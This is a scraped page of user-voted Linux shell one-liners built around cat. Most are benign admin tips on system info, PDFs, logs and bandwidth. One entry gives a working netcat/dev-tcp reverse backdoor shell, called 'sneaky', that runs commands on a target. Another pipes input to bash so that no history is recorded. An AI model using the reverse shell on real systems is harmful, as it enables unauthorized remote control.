Commands using cat sorted by votes

Commands using cat (514)

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Display which distro is installed

Works on nearly all linux distros
This is sample output - yours may be different.
10

cat /etc/*release

dog · 2010-05-26 11:58:34 84
sends a postscript file to a postscript printer using netcat
This is sample output - yours may be different.
10

cat my.ps | nc -q 1 hp4550.mynet.xx 9100

cp · 2010-07-05 06:12:12 6
List your MACs address
This is sample output - yours may be different.
10

cat /sys/class/net/eth0/address

barto · 2011-05-13 13:40:08 5
Show bandwidth use oneliner

poorman's ifstat using just sh and awk. You must change "eth0" with your interface's name. Show Sample Output
This is sample output - yours may be different.
```
02:18:43     1.71 KiB/s in     0.11 KiB/s out
02:18:44     0.75 KiB/s in     0.25 KiB/s out
02:18:45     0.47 KiB/s in     0.20 KiB/s out
02:18:46     0.59 KiB/s in     0.15 KiB/s out
02:18:47     1.12 KiB/s in     1.37 KiB/s out
02:18:48     0.65 KiB/s in     0.21 KiB/s out
02:18:49     0.50 KiB/s in     0.31 KiB/s out
02:18:50     1.28 KiB/s in     0.37 KiB/s out
02:18:51     0.50 KiB/s in     0.05 KiB/s out
02:18:52     2.26 KiB/s in     0.10 KiB/s out
```
10

while true; do cat /proc/net/dev; sleep 1; done | awk -v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out\n", d, i/1024, o/1024}'

point_to_null · 2011-11-21 05:24:44 12
awk using multiple field separators

You can use multiple field separators by separating them with | (=or). This may be helpful when you want to split a string by two separators for example. #echo "one=two three" | awk -F "=| " {'print $1, $3'} one three
This is sample output - yours may be different.
9

awk -F "=| "

Bender · 2009-03-02 21:09:51 9
backup with mysqldump a really big mysql database to a remote machine over ssh

backup big mysql db to remote machine over ssh. "--skip-opt" option is needed when you can?t allocate full database in ram.
This is sample output - yours may be different.
9

mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'

esplinter · 2010-05-29 23:06:04 6
Load file into RAM (cache) for faster accessing for repeated usage

Best result when file size less than half of RAM size
This is sample output - yours may be different.
9

cat <file> > /dev/null

totti · 2011-11-12 15:45:27 8
Generate a random password 30 characters long
This is sample output - yours may be different.
9

cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32

noqqe · 2011-11-20 17:29:45 3
Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output
This is sample output - yours may be different.
```
    
```
9

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

somaddict · 2012-11-16 02:48:01 9
Convert all JPEG images to MP4

Source: http://superuser.com/a/624574
This is sample output - yours may be different.
9

cat *.jpg | ffmpeg -f image2pipe -r 1 -vcodec mjpeg -i - -vcodec libx264 out.mp4

auriza · 2015-10-12 02:46:14 10
Quickly find a count of how many times invalid users have attempted to access your system
This is sample output - yours may be different.
8

gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less

eanx · 2009-03-03 04:26:57 16
Find brute force attempts on SSHd

Searches the /var/log/secure log file for Failed and/or invalid user log in attempts. Show Sample Output
This is sample output - yours may be different.
```
2 67.11.200.144
      4 210.40.128.31
      6 208.71.128.195
      6 64.39.0.38
     15 219.246.112.241
     20 200.214.15.142
     30 119.70.154.57
     30 79.38.22.92
     40 61.152.201.74
     87 88.191.94.168
    107 200.27.214.30
    107 61.134.27.234
    115 200.6.208.186
    170 222.73.37.25
    387 99.154.226.153
    548 222.35.78.224
    627 94.75.240.141
    946 213.191.111.5
```
8

cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n

empulse · 2009-03-30 15:48:24 18
Merge Two or More PDFs into a New Document

require the pdftk package
This is sample output - yours may be different.
8

pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf

eastwind · 2009-11-10 10:07:37 4
Get the time from NIST.GOV

The format is JJJJJ YR-MO-DA HH:MM:SS TT L DUT1 msADV UTC(NIST) OTM and is explained more fully here: http://tf.nist.gov/service/acts.htm Show Sample Output
This is sample output - yours may be different.
```
cat </dev/tcp/time.nist.gov/13

55168 09-12-03 20:32:43 00 0 0 350.2 UTC(NIST) * 
```
8

cat </dev/tcp/time.nist.gov/13

drewk · 2009-12-03 21:40:14 11
Join lines

It's works only when you replace '\n' to ONE character.
This is sample output - yours may be different.
8

cat file | tr "\n" " "

uzsolt · 2010-12-02 09:21:02 8
Quickly analyze apache logs for top 25 most common IP addresses.

This command is much quicker than the alternative of "sort | uniq -c | sort -n". Show Sample Output
This is sample output - yours may be different.
```
348, 192.22.16.56
358, 192.240.8.178
360, 192.107.248.220
394, 192.206.78.2
424, 192.242.141.25
426, 192.175.45.153
440, 192.51.107.202
493, 192.215.222.135
500, 192.20.53.245
688, 192.164.143.36
732, 192.139.1.20
```
7

cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25

oremj · 2009-03-06 17:50:29 5
log your PC's motherboard and CPU temperature along with the current date

Uses the data in the /proc system, provided by the acpid, to find out the CPU temperature. Can be run on systems without lm-sensors installed as well. Show Sample Output
This is sample output - yours may be different.
```
08/25/0902:54:32 => 51 C
```
7

echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log

ninadsp · 2009-08-24 21:26:29 33
split and combine different pages from different pdf's

The command shows the real power of the pdftk tool, you can do basically everything you want with multiple pdf's. In the command a book is created from chapters, headings and covers.
This is sample output - yours may be different.
7

pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf

bw · 2010-03-02 16:04:50 9
Quickly create simple text file from command line w/o using vi/emacs

1. Issue command 2. After angled bracket appears, enter file contents 3. When done, type "EOF"
This is sample output - yours may be different.
7

cat > <file_name> << "EOF"

sphere64 · 2010-05-27 12:06:30 11
merge vob files to mpg
This is sample output - yours may be different.
7

cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg

hoberion · 2010-06-13 20:19:11 5
reset hosed terminal
This is sample output - yours may be different.
7

cls(){ printf "\033c";} or, if no printf, cat > c ;<ctrl+v> <ctrl+[>c <enter><ctrl-d> c(){ cat c;} #usage: c

argv · 2010-08-02 07:27:22 18
execute your commands and avoid history records

Sometimes you don't want to leave history, because of passwords use or somethink like. I think it help.
This is sample output - yours may be different.
7

cat | bash

glaudiston · 2010-08-18 13:47:46 6
Look for English words in /dev/urandom

* to get the English dictionary: wget http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt Show Sample Output
This is sample output - yours may be different.
```
...
rINg
riNg
akAL
tais
TaRF
bASS
DoCK
raCe
...
```
7

head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done

rugina · 2010-12-23 01:58:56 10
Securely stream (and save) a file from a remote server

Securely stream a file from a remote server (and save it locally). Useful if you're impatient and want to watch a movie immediately and download it at the same time without using extra bandwidth. This is an extension of snipertyler's idea. Note: This command uses an encrypted connection, unlike the original. Show Sample Output
This is sample output - yours may be different.
```
[mplayer output...]

$ ls
LOCAL_FILE.mp4
```
7

ssh USER@HOST cat REMOTE_FILE.mp4 | tee LOCAL_FILE.mp4 | mplayer -

flatcap · 2013-11-28 11:25:26 9
Unencrypted voicechat

Sends the microphone input from PC1 to the speakers of PC2. Do the same in reverse to have an actual conversation ;) ... maybe with another port tough
This is sample output - yours may be different.
6

On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666

someguy · 2009-02-18 00:39:32 9
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Convert seconds to [DD:][HH:]MM:SS

Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

check open ports without netstat or lsof

To play a file at 1.5 times normal speed without increasing the pitch

View webcam output using GStreamer pipeline

Open a window that displays camera capture. Framerate, width and height may be changed to match your needs.

perl one-liner to get the current week number

Not perl but shorter.

Get a list of all your VirtualBox virtual machines by name and UUID from the shell

A similar command that lists only the currently running VMs is thus: $ VBoxManage list runningvms ...the above showing a list of VMs by name and UUID in the same format as the "$ VBoxManage list vms" command

fetch all revisions of a specific file in an SVN repository

exported files will get a .r23 extension (where 23 is the revision number)

Edit file(s) that has been just listed

That will open vi with the four README files in different viewports. Specially handy when you find there is only one file matching your pattern and you don't want to specify the full path.

burn initial session on a growable DVD using growisofs

replace "directory name to burn on DVD" with actual directory name that you want to copy on DVD

Search $PATH for a command or something similar

Searches your $PATH for whatever you substitute for bash, though not sure if this will work if you substitute a different shell for bash!

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Commands using cat (514)

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